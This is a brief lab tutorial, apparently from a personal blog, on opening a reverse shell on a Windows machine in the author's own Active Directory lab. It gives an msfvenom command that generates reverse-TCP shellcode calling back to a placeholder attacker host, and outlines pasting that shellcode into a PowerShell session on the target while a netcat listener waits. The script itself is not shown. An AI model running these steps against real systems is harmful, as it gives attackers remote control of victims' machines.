THM - Shellcode
This tutorial is about establishing a reverse shell on one of the Windows machine I set up in the AD environment in previous blog.
Make a reverse shell and set up a netcat listener on your attacker machine.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[attacker machine] LPORT=[attacker port] -f powershell
Below script is what will be pasted on the powershell terminal in the target machine. This doesn't require Administrator privilege.
make a txt and paste the above script and replace the SHELLCODE_PLACEHOLDER with the actual shellcode that starts with 0xfc. And then, paste the first part of the script like below.

After that, copy and paste the remaining lines one by one like below. After that, go to your netcat listener and a connection is made to us and yay ! we have achieved a shell on the machine !


Last updated
Was this helpful?